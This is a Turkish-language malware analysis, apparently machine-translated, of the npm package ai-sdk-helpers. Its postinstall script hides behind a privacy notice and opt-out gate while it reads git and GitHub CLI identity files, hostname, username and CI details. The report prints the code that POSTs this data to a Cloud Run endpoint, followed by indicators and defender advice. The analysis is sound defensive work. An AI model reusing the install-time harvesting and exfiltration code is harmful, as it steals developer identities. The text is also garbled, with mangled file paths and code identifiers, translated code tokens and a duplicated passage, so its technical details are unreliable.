TL; DR
Tek bir npm paketi, yapay zeka SDK yardımcılarıKendisini Vercel AI SDK için bir üretim araç seti olarak sunan bu ürün, maliyet takibi, sağlayıcı yedekleme ve akış yardımcıları sunmaktadır.
Kurulum sırasında çalışan komut dosyası, şık bir şekilde tasarlanmış bir bilgilendirme ekranıyla başlar ve şu açıklamayı içerir: anonim teşhislerKaynak kodunun, belirteçlerin veya kimlik bilgilerinin iletilmeyeceğine dair söz vererek, bir ilkeye bağlı kalınıyor. DO_NOT_TRACK Vazgeçme seçeneği ve telemetri politikası sayfasına bağlantı.
Aynı komut dosyası daha sonra geliştiricinin git kimliğini, GitHub CLI yapılandırmasını, makine ana bilgisayar adını, işletim sistemi kullanıcı adını, çalışma dizinini ve CI sağlayıcısını okur.
Bu veriler JSON formatında bir Google Cloud Run uç noktasına POST ediliyor; bu da belirtilen telemetri politikası ile toplanan gerçek alanlar arasında açık bir uyumsuzluk yaratıyor.
Paket, tek bir 83 saniyelik süreçte yirmi iki farklı sürümde yayınlandı ve kurulum betiği, işaretlenmiş her sürümde bayt bayt aynıdır.
İncelediğimiz sekiz versiyonun yedisi... pipeline Onay banner'ının stili meşru telemetri verilerine benzediği için, makine öğrenimi sınıflandırıcısı tarafından sonuçsuz olarak değerlendirildi.
Sınıflandırıyoruz ai-sdk-helpers Kurulum sırasında geliştirici kimlik bilgilerinin toplanması ve sızdırılmasına dayalı olarak kötü amaçlı yazılım olarak değerlendirilmektedir.
Ciddiyet düzeyi: yüksek.
Kurulumun anatomisi
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } kurulum sonrası otomatik olarak çalışır npm kurulumuPaketin reklamı yapılan kodlarından herhangi biri içe aktarılmadan önce, komut dosyası çalıştırılır. komut dosyaları/kurulum sonrası.js Kurulum sırasında gerçekleşen tüm davranışlar burada yer alır.
Bu, gizliliğe önem veren açık kaynaklı bir projenin üslubuyla yazılmış bir yorum bloğu ve çalışma zamanı bildirimiyle başlıyor:
>ai-sdk-helpers'ı yüklediğinizde, hızlı bir ortam uyumluluk kontrolü yapar ve anonim tanılama raporları sunarız… Veriler tamamen anonimdir — platformunuzu, Node sürümünüzü ve makine tanımlayıcınızın tek yönlü özetini toplarız. Hiçbir kaynak kodu, belirteç veya kimlik bilgisi asla iletilmez.
Hatta dosyadaki ilk yürütülebilir kod olan çalışan bir devre dışı bırakma kapısı bile oluşturuyor:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Bu kapıyı ilk önce bağlamak, geri kalanının rıza gösterilmiş gibi görünmesini sağlıyor: bir geliştirici, `D_İZLEME DEĞİL` Kurulum sessizce tamamlanır ve paketin kurala uyduğu sonucuna varılır. Uyma hakkı gerçektir. Bunu ayarlamayan herkes için kısıtladığı şey, aşağıda açıklanan koleksiyondur; bildirimde belirtilen daha dar "platform, Node sürümü ve tek yönlü karma" değil.
Bu kapının altında, komut dosyası bu tanımın çok ötesine geçen bir yük oluşturuyor.
- *Gt kimliği.* rçözmekScmKimlik()` başları `~.gitconfig`,`~.config/git/config`,ve mevcut projenin `.it/config`,`[ser]` ve yapılandırılmış değeri döndürür. commit Eğer yapılandırma dosyasında e-posta adresi belirtilmemişse, `G` komutuna geri dönülür.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ve `EAIL` Ortam değişkenleri. Fonksiyonun üstündeki bir docstring, okuma işlemini "aynı kişiye ait makineler arasında (örneğin dizüstü bilgisayar + CI) kurulumların yinelenmesini önlemenin" bir yolu olarak çerçeveliyor; bu, geliştirici başına istikrarlı bir tanımlayıcı gerektiren belirtilen bir amaçtır. commit e-posta malzemeleri.
- *GtHub hesabı.* rsolveGitHubIdentity()` başları `~.config/gh/hosts.yml` ve `~.config/gh/hosts.yaml` Geliştirici kimlik doğrulaması yaptığında GitHub CLI tarafından yazılan ve `u` değerini düzenli ifadelerle ayıklayan yapılandırma dosyası.er:` ve `eposta:` Bu dosya aynı zamanda GitHub OAuth belirtecini de saklar; betiğin düzenli ifadesi özellikle kullanıcı adı ve e-posta satırlarını hedef alır ve belirteci çıkarmaz. Bu nedenle, açıklama başlığındaki "hiçbir belirteç asla iletilmez" iddiası, yalnızca o alan için kelimenin tam anlamıyla doğrudur, ancak çevredeki hesap tanımlayıcıları okunur ve gönderilir.
- *Hst ve CI parmak izi.* Ardından komut dosyası `o`'yu toplar..hostname()`,`o.userInfo().username`,Node sürümü, platformu ve mimarisi, `pocess.cwd()`,ve sekiz sağlayıcı (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite ve iki genel CI bayrağı) için ortam değişkenlerini kontrol ederek çözümlenen bir CI sağlayıcı etiketi. Sağlayıcı listesi, betiğin nerede çalıştırılmasını beklediğinin bir envanteri olarak okunabilir - etkileşimli kabuklar ve otomatik derleme. pipelinebenzer.
Bunların hepsi tek bir `d` altında gruplandırılmıştır.agnostikler Nesne, geliştirici başına alanların `i` altında toplandığı bir yapıdadır.varlık ey ve `r` altındaki ana bilgisayar verilerintime` ve `cntext` önce seri hale getirilir, sonra serileştirilir ve iletilir:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Yanıt göz ardı ediliyor ve tüm hatalar yutuluyor; bir yorumda "telemetri asla kurulumu bozmamalı" deniyor. Uç nokta ana bilgisayar adı, `e` içinde bir Google Cloud Run hizmetini kodluyor.halat-batı1` bölge.
Aradaki boşluk hikâyenin ta kendisi. Afişte üç veri kategorisi belirtiliyor: platform, Node sürümü, makine tanımlayıcı karması. Gönderilen veri ise geliştiricinin gerçek git deposunu içeriyor. commit E-posta adresleri, GitHub kullanıcı adları ve e-postaları, makine ana bilgisayar adları ve işletim sistemi hesap adları, proje yolları ve CI ortamları. Bir *p'yi tanımlayan alanlarrson ve hesapları* Açıklamada tam olarak hangi alanların atlandığına dair bilgiler.
README dosyası, diğer taraftan gelen çerçeveyi güçlendiriyor. "Telemetri" bölümü, anonimlik iddiasını tekrarlıyor ve `D` kelimesini ilişkilendiriyor._İZLEME DEĞİL` o `cnsoledonottrack.com`,Gizlilik politikasında kabul görmüş bir uygulamayı ödünç alarak, vazgeçme sözleşmesini belgeleyen gerçek topluluk sayfası. standard Bildirimin rutin bir duyuru gibi okunmasını sağlamak.
Tarihçesi
Bu, çok kısa ama çok yoğun bir yayın geçmişine sahip tek bir paketlik bir buluntu. İzlenecek çok haftalık bir kampanya süreci yok; tüm sürüm yelpazesi makine hızıyla piyasaya sürüldü.
| Ne zaman (UTC) | Etkinlikler |
|---|---|
| 2026-06-03 20:31:20 | İlk versiyon (0.1.0) npm'ye yayınlandı. |
| 2026-06-03 20:31:20 – 20:32:43 | Tüm 22 versiyon (0.1.0 içinden 1.4.283 saniyelik otomatik bir yayında yayımlandı. |
| 2026-06-04 | Tespit sinyalleriyle işaretlenen sekiz sürüm; manuel analiz, kurulum sırasında kimlik bilgilerinin toplandığını ve sızdırıldığını doğruluyor. Paket, analiz sırasında npm'de hala yayındaydı. |
22 anlamsal sürüm boyunca 83 saniyelik pencere, başlı başına bir davranış göstergesidir: sürüm merdiveni (`01.0',`01.1',… `14.2`)Aktif olarak sürdürülen ve sürüm geçmişi bulunan bir projenin yüzeyini, tek bir komut dosyası çalıştırmasıyla sunar. Kurulum komut dosyası bu süreç boyunca değişmez — aşağıya bakınız.
Uzlaşma göstergeleri
Kurulum sırasındaki veri yükü, yayınlanan sürüm aralığı boyunca aynıdır. Bir `dff` f `sripts/postinstall.js` etween sürümü `02.1` ve sürüm `14.2` Hiçbir fark döndürmez; davranış, gelişen bir veri yükü değil, sabit bir parmak izidir.
ağ
22 anlamsal sürüm boyunca 83 saniyelik pencere, başlı başına bir davranış göstergesidir: sürüm merdiveni (`01.0',`01.1',… `14.2`)Aktif olarak sürdürülen ve sürüm geçmişi bulunan bir projenin yüzeyini, tek bir komut dosyası çalıştırmasıyla sunar. Kurulum komut dosyası bu süreç boyunca değişmez — aşağıya bakınız.
Uzlaşma göstergeleri
Kurulum sırasındaki veri yükü, yayınlanan sürüm aralığı boyunca aynıdır. Bir `dff` f `sripts/postinstall.js` etween sürümü `02.1` ve sürüm `14.2` Hiçbir fark döndürmez; davranış, gelişen bir veri yükü değil, sabit bir parmak izidir.
ağ
| Gösterge | Rol |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON veri paketleri içeren HTTPS POST isteklerini alan veri sızdırma uç noktası. Google Cloud Run üzerinde barındırılmaktadır. europe-west1 bölgesi. |
Tuzak altyapısı
| Gösterge | Rol |
|---|---|
ai-sdk.guide | "AI SDK Kılavuzu" yazarının kimliğini destekleyen paket ana sayfası ve canlı site. |
ai-sdk.guide/telemetry | Kurulum sırasında verilen bilgilendirme bildiriminde belirtilen telemetri politikası URL'si. |
hello@ai-sdk.guide | Yazarın e-posta adresi belirtilmiştir. package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Paket tarafından tanımlanan kaynak deposu. |
Kurulum sırasında okunan dosyalar
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` posta
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Davranış imzaları
- – m `pstinstall` Bir paketlenmiş Node betiğini çağıran bir okuma.
- – vazgeçme kapısı (`A`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_İZLEME DEĞİL`)Kimlik bilgilerinin toplanmasından önce, gizlilik özelliği olarak sunuldu.
- – Git e-postası, GitHub kimliği, ana bilgisayar adı, işletim sistemi kullanıcı adı, geçerli çalışma dizini ve CI etiketi içeren bir JSON nesnesinin HTTPS POST isteği.
- – Hızlı bir şekilde yayınlanan sürüm kademesinde özdeş kurulum betiği
Atıf ve Gözlemlenen Davranış
Paket ve kayıt defteri meta verilerinde kaydedilenlerin ötesinde herhangi bir atıf yapmıyoruz.
npm'nin sorumlu yöneticisi `a` hesabıdır.ielsimon`,adresle birlikte `aiel@vigilance.security`.Kayıt defteri, bu e-postayı doğrulanmamış ve hesabın kaynak kontrol kimliğini de doğrulanmamış olarak listeliyor. `p`ckage.json`,ayrı olarak, yazarı "Yapay Zeka SDK Kılavuzu" olarak sunmaktadır.ello@ai-sdk.guide>`”ana sayfası `a` olan-sdk.guide` ve `g` altında bir kaynak deposuthub.com/ai-sdk-guide` organizasyonu. Yayınlayan hesabın e-posta alan adı (`vigilance.security`)ve paket içi yazar kimliği (`a-sdk.guide`)Bunlar farklı alanlardır.
`a-sdk.guide` Bu canlı ve yanıt veriyor ve `/elementerlik ath çözümü — sahte kimlik, ölü bir bağlantı yerine ulaşılabilir bir web varlığıyla destekleniyor, bu da paketin sunumunun inandırıcılığını artırıyor.
**Gözlemlenen yetenek.** Kurulum sırasında paket, geliştirici kimlik ve hesap yapılandırma dosyalarını okur, sunucu ve CI ortamının parmak izini çıkarır ve sonucu operatör tarafından kontrol edilen bir uç noktaya iletirken, daha dar ve anonimleştirilmiş bir veri kümesini açıklayan bir bildirim görüntüler. Bu davranışı açıklıyoruz; bunun için bir neden öne sürmüyoruz. Paketi değerlendiren okuyucular (yayınlayan kimliği tanıyan herhangi bir taraf dahil), belirtilen ve gerçek veri akışları arasındaki gözlemlenebilir uyumsuzluğu dikkate almalıdır.
Savunmacılar için etki, trendler ve rehberlik
Kimler risk altında? Kurulumu yapan herkes yapay zeka SDK yardımcıları — doğrudan veya dolaylı bir bağımlılık olarak — bu makinede koleksiyonu çalıştırır. Tetikleyici şu nedenle: kurulum sonrasıReklamı yapılan kütüphane kodunun veri akışının gerçekleşmesi için asla içe aktarılması gerekmez; yalnızca kurulum yeterlidir. En yüksek değere sahip ortamlar, yapılandırılmış bir git kimliğine ve kimlik doğrulaması yapılmış bir GitHub CLI'ya sahip geliştirici iş istasyonları ve komut dosyasının CI sağlayıcısı algılamasının, koleksiyonun derleme içinde çalıştırılmasının beklendiğini gösterdiği CI çalıştırıcılarıdır. pipelineAyrıca dizüstü bilgisayarlarda da.
Ortaya çıkardığı şey. Genel olarak uygulama sırları değil; asıl önemli olan şunlar: kimlik: geliştiricinin commit E-posta adresleri, GitHub hesap adları ve e-postaları, makine ve hesap adları ve proje yolu. Bu bir ön bilgidir.cisPaketin kim tarafından, hangi makinede, hangi depoda ve hangi CI sistemi altında kurulduğuna dair bir harita. Bir kuruluş için, bu tür kayıtların bir araya getirilmesi, hangi mühendislerin ve hangi derleme sistemlerinin bağımlılığı çektiğini listeleyecektir; bu, paketin kendi davranışı toplama ve iletme aşamasında sona erse bile, daha hedefli takip faaliyetleri için bir öncü olarak faydalıdır.
Eğilim: Telemetri, kamuflaj aracı olarak kullanılıyor. Yasal geliştirici araçları anonimleştirilmiş kurulum tanılama verilerini toplar ve bunu saygılı bir şekilde yapmanın kuralları şunlardır: bir bilgilendirme bildirimi, İZLEMEYİN Onur göstergesi, vazgeçme seçeneği, politika URL'si gibi unsurlar oldukça iyi bilinmektedir. yapay zeka SDK yardımcıları Bu dört kuralın tamamını sadakatle yeniden üretir ve bunları kimlik toplama için bir sarmalayıcı olarak kullanır. Bir onay banner'ının, çalışan bir vazgeçme seçeneğinin veya gizlilik politikası bağlantısının varlığı, bir paketin güvenilir olduğunun kanıtı değildir; bu kontrolleri taklit etmek ucuzdur. Tek güvenilir kontrol, kodun gerçekten ne okuduğu ve nereye gönderdiğidir.
Bu ambalajın otomatik triyaj üzerinde de ölçülebilir bir etkisi var. Tüm versiyonlarımızda pipeline İnceleme sonucunda, kurulum betiğinin sade dildeki yorumları, yapılandırılmış alan adları ve geleneksel vazgeçme kapısı sıradan telemetri olarak değerlendirildi: sekizinden yedisi geri döndü. sonuçsuz Kötü amaçlı değil, makine öğrenimi sınıflandırıcısından kaynaklanıyor. Belirsizliği gideren sinyal metinde değil, komut dosyasının açtığı belirli dosyalarda bulunuyor (~ / .gitconfig, ~/.config/gh/hosts.yml) ve gönderdiği hedef. Açıklamayı okuyup orada duran, otomatik veya insan bir inceleyici yanlış sonuca varacaktır; karar, veri akışı gerçeklerinden gelmelidir.
Savunmacılar için rehber:
- Komut dosyaları varsayılan olarak devre dışı bırakılmış şekilde yükleyin — npm install –ignore-scriptsveya ayarla komut dosyalarını yok say=true in .npmrc ve onaylanmış derleme adımlarını açıkça çalıştırın. Bu, olumsuz etkileri ortadan kaldırır. kurulum sonrası-Genel olarak tetiklenen tahsilat.
- Vazgeçme seçeneklerini güven sinyali olarak algılamayın. İZLEMEYİN "Telemetri politikası" bağlantısı veya bir kontrol düğmesi, kapı ayarlanmadığında bir komut dosyasının topladığı veriler hakkında size hiçbir şey söylemez.
- Yapay zeka ekosistemi yardımcı paketlerini kullanmaya başlamadan önce kurulum kılavuzunu okuyun. Vercel AI SDK alanı, hızla gelişen ve yüksek güven gerektiren bir hedeftir; kurulum sonrası bu dokunur ~ / .gitconfig or ~/.config/gh/ Çevredeki yorumların nasıl yazıldığına bakılmaksızın, bu açık bir sinyaldir.
- Derleme zamanı çıkış trafiğini izleyin. Derleme sırasında giden bir HTTPS POST isteği. npm kurulumuÖzellikle yeni oluşturulmuş bir bulut işlevi uç noktasına yönelik bu durum, ağ katmanında gözlemlenebilir ve sürekli entegrasyon (CI) ortamları için güçlü bir tespit noktasıdır.
- Sıkıştırılmış sürüm basamaklarına dikkat edin. Tüm anlamsal sürüm geçmişi saniyeler içinde görünen ve değişmeyen bir kurulum betiğine sahip bir paket, yapay bir bakım geçmişi sunmaktadır.





